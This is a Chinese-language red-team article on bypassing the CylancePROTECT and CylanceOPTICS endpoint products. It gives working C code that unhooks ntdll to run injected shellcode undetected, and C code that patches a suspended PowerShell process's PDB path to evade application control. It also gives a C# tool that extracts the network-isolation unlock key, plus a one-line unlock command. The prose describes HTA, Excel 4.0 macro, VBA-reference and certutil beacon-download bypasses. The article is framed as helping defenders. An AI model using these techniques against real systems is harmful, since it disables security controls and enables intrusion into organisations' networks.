EDR规避研究:如何绕过Cylance

 

一、前言

红队成员经常需要跟许多大型组织打交道,因此我们经常面对各种各样的EDR(端点检测和响应)解决方案。为了提高在这些环境中的成功率,我们会定期分析这些产品,确定防护特征、绕过方法以及其他策略,确保行动能畅通无阻。在这些解决方案中,我们经常面对的是CylancePROTECT,这是Cylance Inc推出的一款产品(Cylance最近被Blackberry以14亿美元收购)。

在本文中,我们将与大家分享可能帮助红队绕过CylancePROTECT的一些方法,并且简要介绍一下CylanceOPTICS(能够提供基于规则检测的一种补充方案)。我们的目标是帮助防御方理解该解决方案的工作原理,更好理解其中的不足,以便引入补充方案,解决潜在风险。

 

二、Cylance概述

CylancePROTECT(以下简称为Cylance)是基于设备策略的一种EDR解决方案,可以通过Cylance SaaS口进行配置,具体策略包括如下安全相关选项:

  • 内存操作:控制启用哪些内存保护机制,包括漏洞利用、进程注入以及越界技术。
  • 应用控制:阻止新应用运行。
  • 脚本控制:配置该选项以便阻止Active Script(VBS及JS)、PowerShell以及Office宏。
  • 设备控制:配置对可移动设备的访问权限。

在本文中,我们将探索这些控制机制的有效性,也会分享如何绕过或禁用这些机制的方法。我们研究的对象为CylancePROTECT 2.0.1500版,这也是本文撰写时(2018年12月)的最新版本。

 

三、脚本控制

CylancePROTECT的脚本控制功能可以帮助管理员配置是否阻止或允许Windows脚本、PowerShell以及Office宏,也可以配置是否在端点上弹出警告信息。典型的配置如下所示,可以阻止所有脚本、PowerShell以及宏文件:

在这种配置下,该解决方案会禁用包含VBA宏的简单文档,甚至如下相对无害的宏也无法幸免:

同时Cylance仪表盘中将生成相应事件,如下所示:

虽然这种机制对普通的VBA宏来说非常有效,但我们发现Excel 4.0宏并没有在限制名单中,具备完全访问权限(参考该视频)。

CylancePROTECT并没有限制启用Excel 4.0宏的文档,甚至当策略明确要阻止宏文档时也不起作用。因此,我们可以通过这种方法在Cylance环境中获得初始访问权限。大家可以参考Stan Hegt发表的研究成果了解启用Excel 4.0宏文档的相关内容。

需要注意的是,其他控制策略(如阻止漏洞利用、注入及越界等内存防护策略)仍处于生效状态,稍后我们将讨论这方面内容。

除了宏之外,CylancePROTECT也能阻止Windows Script Host文件运行(特别是VBScript及JavaScript文件)。因此,当我们尝试在.js或者.vbs文件中使用WScript.Shell运行脚本时,由于启动了ActiveScript防护,Cylance会阻止这种行为,如下所示:

Cylance面板中将看到如下错误信息:

然而,如果我们使用同一段JavaScript代码,将其嵌入某个HTML应用中,如下所示:

可以看到,如果脚本没有直接使用wscript.exe来运行,那么CylancePROTECT就不会应用同样的控制策略。如该视频所示,通过mshta.exe运行的HTA并不会遇到任何阻拦。

能弹出计算器当然不错,接下来我们看看使用SharpShooter配合HTA时能达到什么效果。

SharpShooter可以生成一个DotNetToJScript payload,在内存中执行原始shellcode(使用VirtualAlloc在内存中分配空间,获得指向该shellcode的函数指针,然后再执行,这是在.NET中执行shellcode的标准方法)。当执行HTA时,Cylance会阻止payload并生成一个错误,查看面板后我们并不能得到太多信息,但基本上可以肯定这是内存防护控制策略所造成的结果:

这里先不要管shellcode执行的问题(回头我们会解决这个问题),我们发现Cylance对执行calc.exe的方式并不是特别感冒(不管是通过宏或者HTA payload)。再来看看如果尝试下载或运行Cobalt Strike beacon会出现什么情况。这里我们使用如下HTA,通过WScript调用certutil来下载和执行Cobalt Strike可执行文件:

执行过程参考此处视频

从视频中可知,如果目标环境中部署了CylancePROTECT,那么我们可能非常需要将常用的应用程序列入白名单中。

 

四、内存防护

现在来看一下内存保护机制。当分析端点安全产品的内存保护机制时,我们非常有必要澄清该产品如何检测常见的可疑API调用(如CreateRemoteThreadWriteProcessMemory)。

我们可以通过控制台选项了解Cylance支持的内存分析策略:

如果启用了这些防护策略,我们发现Cylance会将CyMemdef.dll注入32位进程,将CyMemDef64.dll注入64位进程。

为了理解Cylance部署的防护措施,我们可以利用CreateRemoteThread来模拟恶意软件常用的内存注入技术。简单的PoC代码如下所示:

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, procID);
if (hProc == INVALID_HANDLE_VALUE) {
    printf("Error opening process ID %dn", procID);
    return 1;
}
void *alloc = VirtualAllocEx(hProc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == NULL) {
    printf("Error allocating memory in remote processn");
    return 1;
}
if (WriteProcessMemory(hProc, alloc, shellcode, sizeof(shellcode), NULL) == 0) {
    printf("Error writing to remote process memoryn");
    return 1;
}
HANDLE tRemote = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL);
if (tRemote == INVALID_HANDLE_VALUE) {
    printf("Error starting remote threadn");
    return 1;
}

与我们设想的一致,执行这段代码会被Cylance检测到,进程也会被终止:

检查Cylance注入的DLL,可以发现Cylance在进程中植入了多个hook,以检测进程是否调用这些可疑函数。比如,如果我们在NtCreateThreadEx(为CreateRemoteThread提供syscall)上设置一个断点,然后调用该API,我们可以看到Cylance会通过JMP指令修改该函数:

通过JMP继续执行,就会触发Cylance警告,强制结束我们的程序。了解这一点后,我们可以从进程中修改被hook的指令,移除Cylance检测机制:

#include <iostream>
#include <windows.h>
unsigned char buf[] =
"SHELLCODE_GOES_HERE";
struct syscall_table {
    int osVersion;
};
// Remove Cylance hook from DLL export
void removeCylanceHook(const char *dll, const char *apiName, char code) {
    DWORD old, newOld;
    void *procAddress = GetProcAddress(LoadLibraryA(dll), apiName);
    printf("[*] Updating memory protection of %s!%sn", dll, apiName);
    VirtualProtect(procAddress, 10, PAGE_EXECUTE_READWRITE, &old);
    printf("[*] Unhooking Cylancen");
    memcpy(procAddress, "x4cx8bxd1xb8", 4);
    *((char *)procAddress + 4) = code;
    VirtualProtect(procAddress, 10, old, &newOld);
}

int main(int argc, char **argv)
{
    if (argc != 2) {
        printf("Usage: %s PIDn", argv[0]);
        return 2;
    }
    DWORD processID = atoi(argv[1]);
    HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, false, processID);
    if (proc == INVALID_HANDLE_VALUE) {
        printf("[!] Error: Could not open target process: %dn", processID);
        return 1;
    }
    printf("[*] Opened target process %dn", processID);
    printf("[*] Allocating memory in target process with VirtualAllocExn");
    void *alloc = VirtualAllocEx(proc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (alloc == (void*)0) {
        printf("[!] Error: Could not allocate memory in target processn");
        return 1;
    }
    printf("[*] Allocated %d bytes at memory address %pn", sizeof(buf), alloc);
    printf("[*] Attempting to write into victim process using WriteProcessMemoryn");
    if (WriteProcessMemory(proc, alloc, buf, sizeof(buf), NULL) == 0) {
        printf("[!] Error: Could not write to target process memoryn");
        return 1;
    }
    printf("[*] WriteProcessMemory successfuln");

    // Remove the NTDLL.DLL hook added by userland DLL
    removeCylanceHook("ntdll.dll", "ZwCreateThreadEx", 0xBB);
    printf("[*] Attempting to spawn shellcode using CreateRemoteThreadn");
    HANDLE createRemote = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL);
    printf("[*] Success :Dn");
}

执行PoC后,可以看到我们的shellcode能正常执行,不会触发任何警告:

这种自我监管型的防护策略始终存在一些问题,因为这种机制需要依赖进程来检测自己是否存在可疑行为。

我们在2018年11月份开展这项研究,但之前@fsx30已公开过这方面<a href=”https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6″>研究内容,其中演示了如何利用该技术转储进程内存。

 

五、应用控制

Cylance还提供另一项保护功能,可以阻止用户执行某些应用程序(如PowerShell)。启用该保护功能后,如果我们尝试执行PowerShell时,就会出现如下警告:

从前文分析可知,Cylance会将DLL注入进程中,以分析并部署防护措施。了解这一点后,我们可以分析CyMemDef64.dll,确定这里是否存在相同限制。

我们首先发现Cylance会调用NtQueryInformationProcess来检测应用程序可执行文件的名称:

提取该信息后,将其与PowerShell.exe字符串进行对比:

如果我们将PowerShell.exe可执行文件名改为PS.exe,是否能绕过这种限制?好吧可能没那么简单(但相信我们,在没引入其他缓解措施之前,这种方法可以绕过Cylance的PowerShell保护机制,万能的Powercatz.exe)。这表明Cylance还有其他校验措施,我们在同一个函数中找到了如下信息:

这里可以看到powershell.pdb字符串会被传递给某个函数,用来判断PE调试目录中是否存在该字符串。如果满足条件,则Cylance会将另一个DLL(CyMemDefPS64.dll)载入PowerShell进程中,这是一个.NET assembly,负责显示我们前面看到的警告信息。

那么如果我们修改PowerShell可执行文件的PEB信息,会出现什么情况?

非常棒,现在我们知道Cylance阻止PowerShell执行的具体原理,但以这种方式修改程序并不是理想的解决方案,因为这样会改变文件的哈希值,也会破坏文件签名。我们如何在不修改PowerShell可执行文件的基础上达到同样效果?一种可选方法就是生成PowerShell进程,并尝试在内存中修改PDB引用。

为了生成PowerShell进程,我们可以使用CreateProcess,传入CREATE_SUSPENDED标志。一旦创建处于挂起状态的线程,我们需要定位PEB结构,找到PowerShell PE在内存中的基址。接下来只要在恢复运行前解析PE文件结构并修改PDB引用即可,相关代码如下所示:

#include <iostream>
#include <Windows.h>
#include <winternl.h>

typedef NTSTATUS (*NtQueryInformationProcess2)(
    IN HANDLE,
    IN PROCESSINFOCLASS,
    OUT PVOID,
    IN ULONG,
    OUT PULONG
);

struct PdbInfo
{
    DWORD     Signature;
    BYTE      Guid[16];
    DWORD     Age;
    char      PdbFileName[1];
};

void* readProcessMemory(HANDLE process, void *address, DWORD bytes) {
    char *alloc = (char *)malloc(bytes);
    SIZE_T bytesRead;
    ReadProcessMemory(process, address, alloc, bytes, &bytesRead);
    return alloc;
}

void writeProcessMemory(HANDLE process, void *address, void *data, DWORD bytes) {
    SIZE_T bytesWritten;
    WriteProcessMemory(process, address, data, bytes, &bytesWritten);
}

void updatePdb(HANDLE process, char *base_pointer) {
    // This is where the MZ...blah header lives (the DOS header)
    IMAGE_DOS_HEADER* dos_header = (IMAGE_DOS_HEADER*)readProcessMemory(process, base_pointer, sizeof(IMAGE_DOS_HEADER));
    // We want the PE header.
    IMAGE_FILE_HEADER* file_header = (IMAGE_FILE_HEADER*)readProcessMemory(process, (base_pointer + dos_header->e_lfanew + 4), sizeof(IMAGE_FILE_HEADER) + sizeof(IMAGE_OPTIONAL_HEADER));

    // Straight after that is the optional header (which technically is optional, but in practice always there.)
    IMAGE_OPTIONAL_HEADER *opt_header = (IMAGE_OPTIONAL_HEADER *)((char *)file_header + sizeof(IMAGE_FILE_HEADER));
    // Grab the debug data directory which has an indirection to its data
    IMAGE_DATA_DIRECTORY* dir = &opt_header->DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
    // Convert that data to the right type.
    IMAGE_DEBUG_DIRECTORY* dbg_dir = (IMAGE_DEBUG_DIRECTORY*)readProcessMemory(process, (base_pointer + dir->VirtualAddress), dir->Size);
    // Check to see that the data has the right type
    if (IMAGE_DEBUG_TYPE_CODEVIEW == dbg_dir->Type)
    {
        PdbInfo* pdb_info = (PdbInfo*)readProcessMemory(process, (base_pointer + dbg_dir->AddressOfRawData), sizeof(PdbInfo) + 20);
        if (0 == memcmp(&pdb_info->Signature, "RSDS", 4))
        {
            printf("[*] PDB Path Found To Be: %sn", pdb_info->PdbFileName);
            // Update this value to bypass the check
            DWORD oldProt;
            VirtualProtectEx(process, base_pointer + dbg_dir->AddressOfRawData, 1000, PAGE_EXECUTE_READWRITE, &oldProt);
            writeProcessMemory(process, base_pointer + dbg_dir->AddressOfRawData + sizeof(PdbInfo), (void*)"xpn", 3);
        }
    }
    // Verify that the PDB path has now been updated
    PdbInfo* pdb2_info = (PdbInfo*)readProcessMemory(process, (base_pointer + dbg_dir->AddressOfRawData), sizeof(PdbInfo) + 20);
    printf("[*] PDB path is now: %sn", pdb2_info->PdbFileName);
}

int main()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    CONTEXT context;
    NtQueryInformationProcess2 ntpi;
    PROCESS_BASIC_INFORMATION pbi;
    DWORD retLen;
    SIZE_T bytesRead;
    PEB pebLocal;
    memset(&si, 0, sizeof(si));
    memset(&pi, 0, sizeof(pi));
    printf("Bypass Powershell restriction POCnn");
    // Copy the exe to another location
    printf("[*] Copying Powershell.exe over to Tasks to avoid first checkn");
    CopyFileA("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", "C:\Windows\Tasks\ps.exe", false);
    // Start process but suspended
    printf("[*] Spawning Powershell process in suspended staten");
    CreateProcessA(NULL, (LPSTR)"C:\Windows\Tasks\ps.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, "C:\Windows\System32\", &si, &pi);
    // Get thread address
    context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(pi.hThread, &context);
    // Resolve GS to linier address
    printf("[*] Querying process for PEB addressn");
    ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
    ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
    ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
    printf("[*] Base address of Powershell.exe found to be %pn", pebLocal.Reserved3[1]);

    // Update the PDB path in memory to avoid triggering Cylance check
    printf("[*] Updating PEB in memoryn");
    updatePdb(pi.hProcess, (char*)pebLocal.Reserved3[1]);
    // Finally, resume execution and spawn Powershell
    printf("[*] Finally, resuming thread... here comes Powershell :Dn");
    ResumeThread(pi.hThread);
}

代码运行效果参考此处视频

 

六、绕过Office宏

前面讨论过,Cylance中实现了基于Office的VBA宏防护机制(除了缺少Excel 4.0支持之外)。如果我们仔细检查这种防护,可以看到Cylance采用了前文类似的一些hook,在VBA运行时中添加了一些检查操作。在这种情况下,Cylance会将hook添加到VBE7.dll中,后者负责提供ShellCreateObject之类的函数。

然而我们发现,如果CreateObject成功调用,那么Cylance就不会继续检查COM对象。这意味着如果我们找到方法成功初始化目标COM对象,那么就可以绕过Cylance的保护机制。

一种方法就是简单添加VBA项目的引用即可。比如,我们可以添加关于“Windows Script Host Object Mode”的引用:

这样就可以在我们的VBA中访问WshShell对象,绕过被hook的CreateObject调用。一旦完成该操作后,我们就可以使用常见的Office宏技巧:

 

七、绕过CylanceOptics隔离

虽然我们并没有特别关注CylanceOptics,但还是应该了解一下它所提供的有趣功能。

当安全人员检测到网络中存在可疑活动时,许多EDR解决方案可以将某台主机域其他网络隔离。在这种场景下,如果攻击者使用该主机作为入侵网络的立足点,那么这种方法可以有效消除攻击者对网络的影响。

CylanceOptics也支持这种隔离功能,通过web接口提供一个Lockdown选项:

隔离某台主机后,我们发现CylanceOptics提供了一个解锁密钥:

如果能重新连接之前被隔离的主机,那么对我们的渗透过程显然非常有价值。因此我们需要了解在攻击者已入侵某台主机,并且没有获得这种解锁密钥的情况下,如何解除网络隔离。

检查CylanceOptics assembly后,我们发现其中存在一个经过混淆的调用,该调用可以用来获取注册表键值:

我们发现该调用会提取注册表中HKEY_LOCAL_MACHINE\SOFTWARE\Cylance\Optics\PdbP的值,随后该值会传递给.NET DPAPI ProtectData.Unprotect API:

使用LOCAL SYSTEM对应的DPAPI主密钥来解密这个注册表键值后,我们可以提取出正确密码,相关代码如下所示:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace CyOpticseUnlock
{
    class Program
    {
        static void Main(string[] args)
        {
            var fixed = new byte[] {
            0x78, 0x6A, 0x34, 0x37, 0x38, 0x53, 0x52, 0x4C, 0x43, 0x33, 0x2A, 0x46, 0x70, 0x66, 0x6B, 0x44,
            0x24, 0x3D, 0x50, 0x76, 0x54, 0x65, 0x45, 0x38, 0x40, 0x78, 0x48, 0x55, 0x54, 0x75, 0x42, 0x3F,
            0x7A, 0x38, 0x2B, 0x75, 0x21, 0x6E, 0x46, 0x44, 0x24, 0x6A, 0x59, 0x65, 0x4C, 0x62, 0x32, 0x40,
            0x4C, 0x67, 0x54, 0x48, 0x6B, 0x51, 0x50, 0x35, 0x2D, 0x46, 0x6E, 0x4C, 0x44, 0x36, 0x61, 0x4D,
            0x55, 0x4A, 0x74, 0x33, 0x7E
            };
            Console.WriteLine("CyOptics - Grab Unlock Keyn");
            Console.WriteLine("[*] Grabbing unlock key from HKEY_LOCAL_MACHINE\SOFTWARE\Cylance\Optics\PdbP");
            byte[] PdbP = (byte[])Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Cylance\Optics", "PdbP", new byte[] { });
            Console.WriteLine("[*] Passing to DPAPI to unprotect");
            var data = System.Security.Cryptography.ProtectedData.Unprotect(PdbP, fixed, System.Security.Cryptography.DataProtectionScope.CurrentUser);
            System.Console.WriteLine("[*] Success!! Key is: {0}", ASCIIEncoding.ASCII.GetString(data));
        }
    }
}

现在我们只需要将该密码传递给CyOptics就能恢复网络连接(参考此处视频)。

进一步研究后我们发现,虽然我们能提取相关密钥,但如果我们以LOCAL SYSTEM身份运行CyOptics命令,那么就不需要提供该密钥,只需要一条简单的命令就能解锁网络(参考此处视频):

CyOptics.exe control unlock -net
(完)